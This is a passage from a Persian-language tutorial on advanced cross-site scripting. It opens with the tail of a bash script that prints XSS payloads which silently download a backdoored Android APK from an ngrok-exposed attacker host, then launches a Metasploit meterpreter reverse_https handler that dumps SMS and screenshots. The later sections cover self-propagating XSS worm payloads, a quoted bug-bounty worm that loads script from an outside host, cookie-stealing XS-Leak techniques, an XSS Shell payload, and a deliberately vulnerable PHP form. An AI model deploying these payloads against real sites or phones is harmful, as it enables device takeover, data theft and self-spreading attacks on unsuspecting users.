src=\"http://"$NGROK_DNS_APK"/"$FILENAME"-b.apk\" application=\"yes\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>" printf "\n" printf "<details/open/ontoggle=\"script=document.createElement('frame'),script.src='"$NGROK_DNS_APK"/"$FILENAME"-b.apk',document.body.appendChild(script)\">" printf "\n" printf "<details/open/ontoggle=\"mylink=document.createElement('a'),mylink.href='"$NGROK_DNS_APK"/"$FILENAME"-b.apk',mylink.setAttribute('download',true),mylink.style.display ='none',document.body.appendChild(mylink),mylink.click()\">" printf "\n\n" msfconsole -qx "use multi/handler;set PAYLOAD android/meterpreter/reverse_https;set LHOST "$noip";set LPORT 4443;set ReverseListenerBindAddress "$LAN";set AutoRunScript /tmp/dump_and.rc;exploit -j" rm /tmp/autoand.rc else printf "[X] Dir Input APK File."; reset;break fi break
در کد بالا پس از دریافت آدرس NoIP
سیستم مهاجم، برای بدست آوردن آدرس IP لوکال از دستور ifconfig
استفاده میکند و با استفاده از دستور grep
مقدار عددی آدرس های IP را جدا کرده و آدرس IP هایی که با 169 و 10 شروع میشوند و همچنین آدرس 127.0.0.1 را حذف میکند، در آخر نیز نتیجه را در متغیر LAN$
ذخیره میکند. سپس مسیر و دایرکتوری فایل apk
سالم دریافت میشود و در متغیر FILE_APK$
ذخیره میشود، بعد از آن سرویس Ngrok را روی پورت 80، start میکنیم. با استفاده از curl
به آدرس http://127.0.0.1:4040/api/tunnels
که آدرس پنل Ngrok میباشد درخواست زده و با رجکس تایین شده در دستور sed
مقدار public_url
که DNS اختصاص داده شده عمومی میباشد را استخراج کرده و در متغیر NGROK_DNS_APK$
ذخیره میکنیم. با استفاده از دستور sed
اسم برنامه Android ای را از مسیر داده شده در متغیر FILE_APK$
استخراج کرده و فاصله های خالی موجود در آن را در صورت وجود حذف میکنیم و نتیجه نهایی را در فایل apk_name.txt
و در متغیر FILENAME$
ذخیره میکنیم. در ادامه کد، لیستی از دستورات Metasploit Framework برای اجرا روی موبایل قربانی را در فایل dump_and.rc
ذخیره میکنیم، برای مثال دستور screenshot
از صفحه موبایل عکسی تهیه میکند یا دستور dump_sms
تمام مخاطبین موجود در موبایل قربانی را میگیرد.
خب، برای ایجاد فایل Android ای مخرب از فایل سالم از Msfvenom و Payload های آن استفاده میکنیم. همانطور که در دستور میبینید مقدار سوییچ platform--
را Android
و سوییچ a-
که بیانگر معماری مورد استفاده میباشد را برابر dalvik
قرار دادیم. (این معماری یک ماشین مجازی برای اجرای برنامه Android ای میباشد). با استفاده از سوییج p-
از Payload های موجود برای ایجاد یک اتصال reverse_https
بین مهاجم و قربانی استفاده کردیم. مقدار LHOST
نیز برابر آدرس سرور مهاجم و LPORT
را 4443
میباشد. در آخر نیز فایل نهایی بایند شده Apk
را با نام FILENAME"-b.apk$"
در مسیر /var/www/html/
سرور مهاجم ذخیره میشود.
در ادامه نیز سه نمونه Payload که باید در محل آسیب پذیر به XSS تزریق شوند print
میشود. Payload اول تگ iframe
ای میباشد که مقدار ویژگی src
آن برابر آدرس فایل بایند شده Apk
در سرور Ngrok اختصاص داده شده مهاجم میباشد. Payload دوم نیز تگ details
است که ویژگی ontoggle
آن برابر کد JavaScript ای ست. این کد نیز با استفاده از createElement
تگ script
ای میسازد و مقدار ویژگی src
آن را همانند Payload قبل برابر آدرس فایل بایند شده Apk
در سرور Ngrok اختصاص داده شده قرار میگیرد، در آخر با استفاده از appendChild
این تگ به صفحه اضافه میشود. در Payload سوم همانند Payload قبل در ویژگی ontoggle
کد JavaScript ای قرار گرفته، این کد ابتدا با استفاده از createElement
تگ a
میسازد و ویژگی href
آن را آدرس فایل بایند شده Apk
در سرور Ngrok اختصاص داده شده مهاجم قرار میدهد. با استفاده از setAttribute
قابلیت دانلود از آدرس مشخص شده در href
فعال شده و از طریق کد ;"mylink.style.display = "none
قابلیت نمایش لینک ساخته شده غیرفعال شده است. در نهایت این تگ با استفاده از appendChild
به صفحه اضافه میشود و از طریق تابع ()click
به طور خودکار کلیک میشود. این یعنی به محض ورود قربانی به صفحه آسیب پذیر بدون اینکه قربانی کاری انجام دهد اپلیکیشن را دانلود میکند.
در بخش آخر کد، Handler یا Listener ای با استفاده از Msfconsole برای ایجاد دسترسی از موبایل قربانی تنظیم میکنیم و مقدار LHOST
آن را برابر آدرس سرور NoIP
مهاجم و LPORT
را 4443
قرار میدهیم. سپس با تنظیم مقدار LAN$
در ماژول ReverseListenerBindAddress
مشخص میکنیم که روی جه آدرس IP محلی از سیستم خودمان به صورت Reverse عمل Listening را انجام دهیم.با استفاده از AutoRunScript
نیز دستورات موجود در فایل dump_and.rc
که پیش تر ساختیم، بعد از ایجاد دسترسی به طور خودکار اجرا میکنیم.
کِرم XSS یا XSS Worm
مفهوم XSS Worm یا کرم XSS به روشی از طراحی Payload در آسیب پذیری XSS گفته میشود که در آن Payload های طراحی شده قابلیت خود تکثیری و تکرار بی نهایت دارند. در این روش کد های مخرب امکان گسترش این آسیب پذیری را از کاربری به کاربر دیگر افزایش میدهند تا جایی که تمام برنامه ی تحت وب آلوده شود. به نمونه کد مخرب زیر توجه کنید:
<a href target=_blank>click</a>
کد بالا لینکی ست که در صورت کلیک قربانی روی آن، دوباره همان صفحه آسیب پذیر حاوی کد مخرب را در تب جدیدی از مرورگر باز میکند، در نتیجه این کد برای تکرار دوباره و تکثیر تنها به خودش احتیاج دارد.
کد PHP زیر نیز نمونه دیگری از صفحه آسیب پذیر در قسمت نظرات میباشد:
<!doctype html> <html lang="en"> <head><title>Comments</title></head> <body> <?php $nameErr = ""; $name = $comment = ""; if ($_SERVER["REQUEST_METHOD"] == "POST") { if (empty($_POST["name"])) { $nameErr = "Name is required"; } else { $name = $_POST["name"]; } if (empty($_POST["comment"])) { $comment = ""; } else { $comment = $_POST["comment"]; } } ?> <p><span class="error">* required field</span></p> <form method="post" action="<?php echo $_SERVER["PHP_SELF"];?>"> Name: <input type="text" name="name" value="<?php echo $name;?>"> <span class="error">* <?php echo $nameErr;?></span> <br><br> Comment: <textarea name="comment" rows="5" cols="40"><?php echo $comment;?></textarea> <br><br> <input type="submit" name="submit" value="Submit"> </form> <?php echo "<h2>Your Input:</h2>"; echo $name; echo "<br>"; echo $comment; echo "<br>"; ?> </body> </html>
در این کد فرم کامنت HTML ای که متد آن POST
است مشاهده میکنید. در قسمت PHP با استفاده از سوپر گلوبال POST_$
مقادیر ورودی کاربر با نام های name
و comment
دریافت میشوند و بدون هیچ امن سازی ای در متغیر های name$
و comment$
ذخیره میشوند. در آخر نیز مقادیر این متغیر ها بدون اینکه روی آن ها Encoding ای به قصد امن سازی صورت بگیرد، در صفحه echo
میشوند. در نتیجه فرم بالا آسیب پذیر است.
خب حالا به Payload طراحی شده زیر به روش XSS Worm توجه کنید:
<form method=post onclick=elements[0].value=outerHTML;submit()> <input type=hidden name=comment>click me!</form>
کد مخرب تزریق شده یک فرم است که امکان ارسال ورودی ها را با متد POST
فراهم میکند. وقتی روی این فرم کلیک کنیم با فراخوانی رویداد onclick
، مقدار اولین عنصر فرم یعنی تگ input
برابر ویژگی outerHTML
از فرم قرار میگیرد . (همانطور که میدانید ویژگی outerHTML
حاوی محتوای عنصر انتخاب شده (در اینجا تگ form
) به همراه خود تگ میباشد). سپس با فراخوانی تابع submit
فرم ارسال میشود.برای اینکه کد مخرب طراحی شده به کنش کمتر قربانی نیاز داشته باشد میتوان از رویداد (Event Handler) های دیگری که احتمال خودکار انجام شدن حمله را افزایش میدهند استفاده کرد مانند رویداد onmouseover
.
به دیگر Payload زیر توجه کنید:
<iframe style=display:none name=x></iframe> <form method=post action="//example.com/comments.php" onclick="elements[0].value='<a/href='%2Bdocument.URL%2B'>link</a>';submit()" target=x> <input type=hidden name=comment>click me!</form>
برخلاف مثال قبلی برای اینکه Payload بتواند خودش را دوباره تولید کند از تگ a که مقدار href
آن برابر ویژگی URL
از document
میباشد، استفاده شده است. (با استفاده از 2B%
یعنی علامت +
، ویژگی document.URL
را به کد اضافه کرده ایم). در خط اول نیز از تگ iframe
اما به صورت نامرئی استفاده کردیم تا حمله طبیعی تر جلوه داده شود زیرا این تگ بدون برگشت به صفحه ارسال نظرات، این صفحه را نمایش میدهد. در خط آخر نیز با استفاده از ویژگی target
در تگ form
به تگ iframe
نامرئی با نام x
اشاره کرده ایم.
در ادامه به بررسی مثالی واقعی از کاربرد این نوع Payload ریزی و استفاده آن در تارگت های باگ بانتی میپردازیم. این گزارش توسط محقق NICOLAS HEINIGER نوشته شده است. در این گزارش وبسایت آسیب پذیر https://webmail.bluewin.ch
میباشد، هدف این است که از XSS کشف شده به گونه ای استفاده کنیم که بتواند با استفاده از ایمیل انتقال پیدا کند و تبدیل به کرم (Worm) شود یعنی خودش را تکثیر کند و در Mailbox تعداد زیادی کاربر پخش شود. این امکان وجود داشت زیرا زمانی که دریافت کننده ایمیل بخواهد به آن پاسخ دهد یا آن را انتقال دهد XSS فعال میشود. برای اینکه این پیاده سازی این سناریو به کمترین تعامل از کاربر نیاز داشته باشد به XSS دیگری نیاز بود. این آسیب پذیری در قسمت Attachment (پیوست) ایمیل وجود داشت زیرا در آنجا در قسمت اسم فایل پیوست شده اگر از کارکتر های خاص مانند <>
استفاده میکردیم، به درستی Escape نمیشدند. این آسیب پذیری زمانی خواندن ایمیل اتفاق میوفتاد. به نمونه درخواست زیر هنگام خواندن پیام توجه کنید:
POST /cp/applink/mail/ReadMessage HTTP/1.1 Host: rich-v01.bluewin.ch User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://rich-v01.bluewin.ch/cp/ps/main/richui/main_swisscom X-CP-Application: RichUI 3.3.5.3.4 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 143 Cookie: [CUT BY COMPASS] Connection: close folderPath=Drafts&accountName=rireoubli%40bluewin.ch&detailLevel=hba&attachmentLevel=apt&drf=json&messageId=8&u=1480032388&d=bluewin.ch&t=82d87
پاسخ درخواست زیر به صورت زیر است :
[CUT BY COMPASS] "attachments": [ { [CUT BY COMPASS] "attributes":[ { "size": "24820" }, { "fileName": "grumpycat<img src=x onerror=alert(1)>.jpg" }, { "downloadUrl": "/applink/mail/Downloader?dhid=attachmentDownloader&messageId=8&accountName=rireoubli%40bluewin.ch&folderPath=Drafts&contentDisposition=attachment&attachmentIndex=0&contentSeed=d1281&pct=22d51" }, { "contentType": "IMAGE/JPEG; name=\"grumpycat<img src=x onerror=alert(1)>.jpg\"" }, { "mimeType": "IMAGE/JPEG" } ] } [CUT BY COMPASS]
همانطور که در پاسخ مشاهده میکنید کارکتر های <
و >
، Escape نشده اند ولی Double Qoutation ها Escape شده اند. قسمت اسم فایل بدون اینکه امن سازی دیگری روی آن اتفاق بیوفتد در DOM صفحه نمایش داده میشود و همین باعث میشود تا XSS رخ بدهد. برای طراحی Payload مناسب در این مورد باید به نکات زیر توجه داشته باشیم:1. محدودیت کارکتری وجود دارد و تنها میتوان 37 کارکتر وارد کرد.2. استفاده از تگ <script>
و Double Qoutation مجاز نیست.3. مکانیزم امنیتی CSP وجود ندارد.4. از کتابخانه JQuery نیز استفاده نشده اما از Framework قدیمی ExtJs استفاده شده است.5. امکان استفاده از چندین Payload مختلف وجود دارد، این Payload ها از هم با استفاده از تگ های HTML جدا میشوند.درنهایت کد مخرب طراحی شده به صورت زیر میباشد:
<svg onload=p='cz1kb2N1bWVudC5jcmV'> <svg onload=p+='hdGVFbGVtZW50KCdzY3'> <svg onload=p+='JpcHQnKTtzLmFzeW5jP'> <svg onload=p+='XRydWU7cy5zcmM9Jy8v'> <svg onload=p+='cGhvdG9jaHJvbWUuY2g'> <svg onload=p+='vYS5qcyc7dG9wLmRvY3'> <svg onload=p+='VtZW50LmdldEVsZW1lb'> <svg onload=p+='nRzQnlUYWdOYW1lKCdo'> <svg onload=p+='ZWFkJylbMF0uYXBwZW5'> <svg onload=p+='kQ2hpbGQocyk7'> <svg onload=eval(atob(p))>
در کد بالا از تگ svg
و رویداد onload
آن برای اجرای JavaScript استفاده شده و Payload نهایی به صورت Base64 شده و تیکه تیکه درون متغیر p
ذخیره میشود. دلیل استفاده از Base64 Encoding این است که بتوان از تگ script
در Payload استفاده کرد. در آخر توسط تابع atob
رشته Base64 شده، Decode میشود و با استفاده از تابع eval
اجرا میشود. Decode شده Payload بالا به صورت زیر میباشد:
s=document.createElement('script');s.async=true;s.src='//photochrome.ch/a.js';top.document.getElementsByTagName('head')[0].appendChild(s);
این کد، با استفاده از createElement
تگ script
ای میسازد و مقدار ویژگی src
آن را آدرس فایل a.js
در سرور مهاجم قرار میدهد. در این فایل Payload های JavaScript طراحی شده به روش XSS Worm قرار دارد که پس از انجام مراحلی کد مخربی که در بالا دیدید را از سمت قربانی به چندین کاربر دیگر ایمیل میکند در نتیجه به این صورت کد مخرب طراحی شده تکثیر میشود . در آخر با استفاده از appendChild
تگ script
ساخته شده را به قسمت head
صفحه اضافه میکند. حالا باید هنگام ارسال ایمیل، کد مخرب را به صورت تکه تکه و به عنوان اسم فایل ها در قسمت Attachment قرار دهیم.
کد مخرب هنگام باز شدن ایمیل و خوانده شدن آن توسط قربانی مراحل زیر را طی میکند:1. پنجره اول با عنوان “!Here we go”
باز میشود.2. پنجره دوم از قربانی تشکر میکند و مطمعن میشود که او میخواهد کد JavaScript را در نشست کاربری خود اجرا کند.3. اگر قربانی گزینه OK
را انتخاب کند، پنجره سوم باز میشود و از قربانی میپرسد که آیا موافق است هنگام اجرای کد مخرب ارز های رمزنگاری شده ماین کند یا خیر.4. اگر قربانی گزینه OK
را انتخاب کرد صفحه ماین کردن بیت کوین را باز میکند.5. در صفحه بعد لیستی از مخاطبین قربانی را نمایش میدهد و تعداد مخاطبینی که ایمیل آنها با bluewin.ch@
خاتمه پیدا کرده را میشمارد و از قربانی میپرسد که میخواهد ایمیل حاوی کد مخرب را به کدام یک از آنها ارسال کند.6. سپس مطمعن میشود که آیا واقعا میخواهد کد مخرب را به ایمیل انتخاب شده بفرستد یا خیر.7. اگر ارسال ایمیل موفقیت آمیز بود آن را در پنجره ای به قربانی نمایش میدهد.
تمام مراحل بالا برای اجرای موفقیت آمیز کد مخرب به تعامل قربانی نیاز دارند. اما میتوان بدون اجازه قربانی نیز این کار را انجام داد تا XSS Worm ساخته شده به صورت خودکار تکثیر پیدا کند.
آسیب پذیری XSS بدون JavaScript دلخواه
حمله XS-Leak از خانواده حملات کانال جانبی (Side Channel) میباشد و برای جمع آوری اطلاعاتی از کاربران استفاده می شود که معمولا قابل دسترس نیست. این حمله از روش های مختلفی اعم از حملات بر مبنای زمان یا Timing Attacks، بر مبنای خطا یا Error-Based Attacks، بر مبنای رویداد onload
و غیره … قابل پیاده سازیست. در ادامه این مقاله دو تکنیک Time-Based و رویداد Onload از این حمله در یکی از محیط های آزمایشگاهی PortSwigger را تشریح می کنیم. هدف این محیط آزمایشگاهی این است که مهاجم اقدام به دریافت مقدار Cookie
کند که برای آدرس دیگری تنظیم شده است.
روش بر مبنای زمان یا Time-Based
در روش Time-Based با اندازه گیری زمان قبل و بعد Payload های اجرا شده و مقایسه زمان ها به استخراج اطلاعات میپردازیم .برای حل این آزمایشگاه به نکات زیر باید توجه شود :
- تزریق کد مخرب باید بین دو Single Qoutation صورت بگیرد.
- تنها استفاده از کارکتر های
a-zA-Z0-9’+.`
در Payload های طراحی شده امکان پذیر است.
پارامتر قابل تزریق با نام x به صورت زیر میباشد:
s=document.createElement('script');s.async=true;s.src='//photochrome.ch/a.js';top.document.getElementsByTagName('head')[0].appendChild(s);
برای تزریق کد مناسب باید با استفاده از Single Qoutation از رشته تعریف شده عبور کنیم و با استفاده از علامت +
آن رشته را با Payload تزریقی خود ترکیب کنیم و درون متغیر x
ذخیره کنیم. این یعنی تابع toString
در JavaScript فراخوانی خواهد شد. برای طراحی Payload مناسب، نیاز به فراخوانی تابع میباشد و برای تعریف ورودی توابع باید از کارکتر های ()
استفاده کرد، به دلیل محدودیت های کارکتری اعمال شده در آزمایشگاه امکان استفاده از این دو کارکتر نیست و به جای آن از دو علامت ``
که همان کار را برای ما انجام میدهد استفاده میکنیم. اما باید به این نکته توجه داشت که تنها میتوان یک آرگومان به ورودی تابع پاس داد و آرگومان ورودی نمیتواند متغیر از پیش تعریف شده باشد زیرا استفاده از کارکترهای {}$
مجاز نیست.
خب ، از چه روشی برای استخراج داده موردنظر تحت شرایط گفته شده باید استفاده کرد؟
با وجود محدودیت کارکتری تایین شده، امکان دسترسی به ویژگی window
در JavaScript و استفاده از محتوای DOM مانند document.cookie
و غیره … وجود دارد. با استفاده از کد زیر میتوان به کارکترهای موجود در موقعیت مشخص شده از Cookie و کارکتر کد های آن ها دسترسی داشت:
// document.cookie = "secret=1337"; document.cookie.charAt`0` // "s" document.cookie.charCodeAt`0` // 115
قدم بعدی ایجاد روش مقایسه ای برای حدس کارکتر های Cookie میباشد به این صورت که مقایسه بین کارکتر انتخاب شده از Cookie با کارکتری که دربرابر آن تست میشود انجام شود. این کار با استفاده از دو تابع ()split
و ()repeat
در JavaScript امکان پذیر است.تابع ()split
رشته انتخاب شده را بر اساس رشته ی مشخص شده در آرگومان ورودی خود جدا سازی میکند و آرایه ای از تکه های جدا شده رشته میسازد.تابع ()repeat
رشته ی انتخاب شده را به اندازه ای که در آرگومان این تابع مشخص شده تکرار میکند.
در نتیجه با تکرار کارکتر انتخاب شده از Cookie به تعداد زیاد و سپس split
کردن آن، تفاوت تایم اجرای کد بین زمانی که کارکتر تطبیق پیدا میکند و زمانی که این اتفاق نمی افتد به وجود می آید و همین برای تشخیص کارکتر درست کافی ست. به مثال زیر توجه کنید:
let init = performance.now(); "s".repeat(40000000).split("s"); // (40000001) ["", "", "", "", …] console.log(performance.now() - init); // 1098.244999999224 let init = performance.now(); "s".repeat(40000000).split("a"); // ["ssssss…ssssss"] console.log(performance.now() - init); // 31.080000000656582
در بخش اول کد بالا ابتدا زمان اجرای کد وقتی کارکتر تطبیق داده میشود با استفاده از ()performance.now
اندازه گیری شده و در بخش دوم زمان اجرا وقتی کارکتر تطبیق داده نمیشود محاسبه شده، همانطور که میبینید وقتی کارکتر قابل جداسازی در رشته وجود داشته باشد برای جدا کردن آنها و تشکیل آرایه زمان زیاد تری نیاز است و با استفاده از این تفاوت تایم لود صفحه میتوان اطلاعات استخراج کرد. نکته ای که در اینجا شایان توجه است این است که به دلیل محدودیت کارکتری تایین شده در این چالش ما نمیتوانیم کارکتر هایی مانند < >
را به آرگومان ورودی تابع split
پاس دهیم، برای حل این مشکل کارکتر کد های هر کارکتر باید به رشته تبدیل شوند. برای این کار از مبنای hex استفاده کردیم زیرا تمام کارکترهای ASCII به صورت دو بایتی از رنج 00
تا FF
قابل نمایش هستند. تابع toString(16)
عمل تبدیل به رشته hex را انجام میدهد.
// document.cookie = "secret=1337"; document.cookie.charCodeAt`0` // 115 .toString`16` // "73" .charAt`0` // "7" document.cookie.charCodeAt`0` // 115 .toString`16` // "73" .charAt`1` // "3"
از آنجایی که حملات بر مبنای زمان یا Time-Based به دلیل تاخیر شبکه ممکن است دچار مشکل شوند و این حمله برای تشخیص درست کارکتر تطبیق داده شده به زمان لود زیاد صفحه احتیاج داشت، میتوان از روش دیگری برای استخراج اطلاعات استفاده کرد.
استفاده از رویداد Onload
در این روش برای طراحی Payload تابع match
گزینه خوبی میتواند باشد، به این صورت که کارکترهای Cookie دونه به دونه دربرابر کارکترهای ورودی تابع match
تست شوند. اگر رشته ی موجود در ورودی این تابع با رشته ی انتخاب شده در Cookie تطبیق پیدا کنند، این تابع آرایه ای از آن رشته برمیگرداند. در غیر این صورت null
برگردانده میشود.
به Payload طراحی شده زیر توجه کنید:( کد زیر با توجه به مقدار secret=1337
در Cookie طراحی شده)
// document.cookie = "secret=1337"; document.cookie.charCodeAt`0` // returns 115 .toString`16` // converts 115 to "73", hexadecimal base .match`73` // returns a match ["73", index: 0, input: "73", groups: undefined] .toString`` // evaluates the earlier match to "73" // document.cookie = "secret=1337"; document.cookie.charCodeAt`0` // returns 115 .toString`16` // converts 115 to "73", hexadecimal base .match`74` // returns null .toString`` // VM528:2 Uncaught TypeError: Cannot read property 'toString' of null at <anonymous>:2:54
در کد بالا بعد از تشخیص match
بودن کارکتر و بازگرداندن آرایه، با استفاده از تابع toString
قصد داریم تا آرایه حاوی کارکتر تطبیق داده شده را به رشته تبدیل کنیم. همانطور که میبینید اگر این تابع در صورت match
نشدن کارکتر null
برگرداند با خطای exception
مواجه خواهیم شد. این تفاوت اجرای کد باعث میشود تا با زدن Payload های مبنای boolean کارکتر های Cookie را حدس بزنیم.
برای استخراج اطلاعات همانند روش Time-Based نمیتوانیم از تابع ()performance.now
استفاده کنیم. به جای آن از تابعی استفاده میکنیم که در صورت اجرای صحیح کد مارا به صفحه دیگری هدایت (Redirect) کند. این تابع location.assign(page)
میباشد.
x = '' + 's'.match`s`.toString`` + location.assign`1` + '';
زبان JavaScript می تواند اطلاعات زیادی از کاربران را دریافت کند اما قادر به دریافت و نمایش اطلاعات یا محتوای یک Tab دیگر در مرورگر قربانی نیست زیرا مکانیزم Same-Origin-Policy از خواندن یک محتوا که در آدرس دیگری قرار دارد جلوگیری می کند. در نتیجه برنامه نویسان برای نمایش یک محتوا (فیلم Youtube، پست Facebook و …) که در وبسایت دیگری قرار دارد معمولا از IFrame
استفاده می کنند.یکی از شایع ترین روش های حمله XS-Leaks بررسی اجرا شدن رویداد onLoad
تگ IFrame
می باشد.
از آنجایی که در این چالش ما صفحه موردنظر را درون iframe
لود کرده ایم میتوان با استفاده از این رویداد و تعداد دفعات فراخوانی آن، عمل redirect درون Payload طراحی شده را تشخیص داد. رویداد onload
در تگ iframe
وقتی فراخوانی میشود که صفحه بارگزاری شده درون iframe
به طور کامل خوانده شده باشد، به همین دلیل یکی از دو اتفاق های زیر میوفتد:
اگر کارکتر match بشود:با خطا مواجه نمیشویم، Redirect قبل از اینکه صفحه کامل لود بشود اتفاق میوفتد. وقتی صفحه Redirect شده به طور کامل لود شد، رویداد load
فراخوانی میشود.
اگر کارکتر match نشود:با خطا مواجه میشویم، صفحه چالش به طور کامل لود میشود و رویداد load
فراخوانی میشود.
همانطور که میبینید در هر دو حالت رویداد load
یک بار فراخوانی میشود در نتیجه امکان استخراج اطلاعات وجود ندارد، برای حل این مشکل از تابع ()stop
استفاده میکنیم. این تابع همانند دکمه stop
در مرورگر تنها اجازه اجرای کد در بلاک فعلی را میدهد و از لود شدن منابع بلاک های بعدی کد جلوگیری میکند:
<html> <head> <script> window.stop(); location.assign("/example"); </script> </head> <body> <iframe src="https://www.example.com"></iframe> </body> </html>
در مثال بالا، Redirect به example/
اتفاق میوفتد اما iframe
که در بلاک بعدی کد است لود نمیشود. بنابراین اگر Payload طراحی شده ما به صورت زیر باشد:
<script> x = '' + stop`` + `s`.match`s`.toString`` + location.assign`1` + ''; </script>
در این حالت نیز یکی از دو اتفاق زیر میوفتد:اگر کارکتر match نشود:با خطا مواجه میشویم و Redirect اتفاق نمیوفتد.تابع stop
از لود شدن کامل صفحه چالش جلوگیری میکند در نتیجه رویداد load
تگ iframe
هرگز فراخوانی نمیشود.اگر کارکتر match شود:با خطا مواجه نمیشویم و Redirect اتفاق میوفتد.پس از لود کامل صفحه Redirect شده رویداد load
تگ iframe
صدا زده میشود.در نتیجه با محاسبه تعداد دفعات صدا زده شدن رویداد load
تگ iframe
میتوان اطلاعات استخراج کرد و کارکترهای درست از Cookie قربانی را حدس زد.
تونل زنی XSS یا XSS Tunneling
XSS Tunnel یک پروکسی استاندارد HTTP میباشد که بر روی سیستم مهاجم قرار میگیرد. برای درک بهتر این موضوع ابتدا نیاز داریم با دو مفهوم XSS Channel و XSS Shell آشنا شویم.
کانال XSS یا XSS Channel
مفهوم XSS Channel به یک کانال ارتباطی بین دو سیستم گفته میشود که توسط یک حمله موفقیت آمیز XSS باز میشود. به عبارتی دیگر این کانال در سطح عملیاتی به نوعی از برنامه AJAX گفته میشود که توانایی اجرای دستورات، ارسال پاسخ و برقراری ارتباط با دامنه مقابل را دارد.
خط فرمان XSS یا XSS Shell
XSS Shell ابزاری برای تنظیم یک کانال XSS بین سیستم مهاجم و قربانی میباشد تا مهاجم بتواند از طریق ارسال دستورات به مرورگر قربانی، آن را تحت کنترل گیرد. این ارتباط دو جهته میباشد. برای این کار، ابتدا مهاجم باید به وسیله آسیب پذیری XSS شل JavaScript ای XSS که حاوی رفرنسی از سرور XSS Shell میباشد را تزریق کند. سپس میتواند درخواست ها و پاسخ هارا مشاهده کند و مرورگر قربانی را برای رسیدگی به درخواست ها تنظیم کند.به نمونه Payload زیر توجه کنید:
http://example.com/q="><scriptsrc="http://xssshellserver/xssshell.asp"></script>
یک برنامه XSS Shell دارای سه بخش اصلی میباشد:
1. بخش سمت سرور: این بخش به هماهنگی ارتباط بین مهاجم و قربانی میپردازد. بخش سمت سرور، به وب سرور ASP و IIS نیاز دارد و از پایگاه داده MS Access به عنوان محل ذخیره سازی استفاده میکند.
2. بخش سمت کاربر (Client) : این بخش که به زبان JavaScript نوشته شده است، در مرورگر قربانی بارگزاری میشود و وظیفه دریافت و پردازش دستورات و فراهم کردن کانال بین مهاجم و قربانی را دارد.
3. بخش رابط ادمین: در این بخش مهاجم میتواند دستورات جدیدی ارسال کند و پاسخ برگشت داده شده از مرورگر قربانی را به سرعت مشاهده کند. این بخش نیز به زبان ASP میباشد و به وب سرور IIS نیاز دارد.
نحوه تست
- مهاجم بعد از پیدا کردن آسیب پذیری XSS Reflected یا XSS Stored، کد مخرب JavaScript ای از XSS Shell را تزریق میدهد.
- قربانی با دنبال کردن لینک موجود در Payload باعث اجرا شدن کد JavaScript ای در آن دامنه میشود.
- مرورگر قربانی به طور متناوب شروع به ارسال درخواست به سرور XSS Shell میکند و منتظر دستورات جدید میماند.
- مرورگر قربانی بعد از دریافت دستورات جدید مانند Get Cookies، Execute custom JavaScript، Get Key logger Data و غیره … به پردازش آن دستورات و ارسال نتیجه مناسب به سرور XSS Shell میپردازد.
- در نتیجه مهاجم میتواند دستورات جدید و متفاوت دیگری را به سمت مرورگر قربانی بفرستد و پاسخ آنها را در بخش رابط ادمین مشاهده کند.
نکات مورد توجه :
ارتباط XSS Shell بر مبنای بارگزاری از راه دور JavaScript میباشد در نتیجه این موضوع به دور زدن مکانیزم SOP کمک میکند. در نخستین اجرای کد، XSS Shell صفحه آسیب پذیر را دوباره تولید میکند، بنابراین حتی اگر قربانی لینک موجود در کد مخرب را دنبال کند، XSS Shell درون صفحه باقی میماند. این موضوع باعث میشود تا کنترل مرورگر قربانی توسط مهاجم باقی بماند، در نتیجه به محض باز شدن پنجره توسط قربانی، نشست کاربری ایجاد شده و مرورگر به کنترل مهاجم در می آید.
- برخی از دستورات XSS Shell در ادامه آمده است:
- Get Cookie
- Get Current Page
- Execute custom Javascript
- Get Mouse Log
- Get Keylogger Data
- Get Clipboard
- Get Internal IP Address (Firefox – JVM)
- Check visited links (CSS history hack)
- Crash Browser
این برنامه متن باز است بنابراین عملیاتی کردن دستورات مانند اسکن پورت های باز (Port Scanning) آسان میشود. XSS Shell در آسیب پذیری XSS Stored بسیار خطرناک است زیرا مهاجم میتواند به طور همزمان صدها مرورگر را تحت کنترل و مدیریت خود داشته باشد.
تونل زنی XSS یا XSS Tunneling
این مفهوم به معنای تونل کردن ترافیک های HTTP توسط یک کانال XSS میباشد تا امکان استفاده مجازی هر برنامه ای که از پروکسی های HTTP پشتیبانی میکنند فراهم شود.
تونل XSS یا XSS Tunnel
XSS Tunnel یک پروکسی استاندارد HTTP میباشد که بر روی سیستم مهاجم قرار میگیرد . در نتیجه هر ابزاری که برای استفاده از پروکسی XSS Tunnel پیکربندی شده باشد، تونلی برای رد و بدل کردن ترافیک خود از طریق XSS Channel روی سرور XSS Shell میسازد. این پروکسی درخواست ها و پاسخ هارا شفاف و واضح میکند تا معتبر سازی شوند. XSS Tunnel به زبان .NET نوشته شده بنابراین برای کارکردن به NET Framework. نیاز دارد.
فواید XSS Tunneling
- استفاده هر برنامه و ابزار مجازی که پروکسی های HTTP را پشتبانی میکنند را ممکن میسازد.
- امکان استفاده ابزارهای خودکار مانند Nikto، SQL Injectors و غیره … در برابر محل هایی از وبسایت که محدودیت IP دارند را فراهم میکند.
- میتوان مرورگر محلی خود را برای استفاده از XSS Tunnel تنظیم کرد، در نتیجه میتوانید با مرورگر خودتان و نام کاربری و رمزعبور قربانی در وبسایت بگردید بدون اینکه مرورگر بررسی های احراز هویتی از قبیل بررسی Cookie، آدرس IP و User Agent را انجام بدهد.
- این پروکسی ابزار خوبی برای نمایش بهتر نتیجه حمله XSS میباشد.
نحوه کارکرد XSS Tunnel
1. پروکسی XSS Tunnel به سرور XSS Shell مشخص شده متصل میشود و مشخصات قربانی تحت کنترل را بدست می آورد.2. کلاینت HTTP محلی (مانند مرورگر، Nikto و غیره …) به XSS Tunnel درخواست ارسال میکنند.
- این پروکسی درخواست های HTTP فرستاده شده را به درخواست هایی تبدیل میکند که برای سرور XSS Shell قابل فهم و پردازش باشد، و سپس این درخواست هارا به سرور XSS Shell میفرستد.
- سرور XSS Shell درخواست هارا درون پایگاه داده خود ذخیره میکند.(این درخواست ها فقط برای قربانی مشخص شده در XSS Tunnel کار میکند، ID این قربانی در بخش Dashboard در XSS Tunnel قرار دارد).
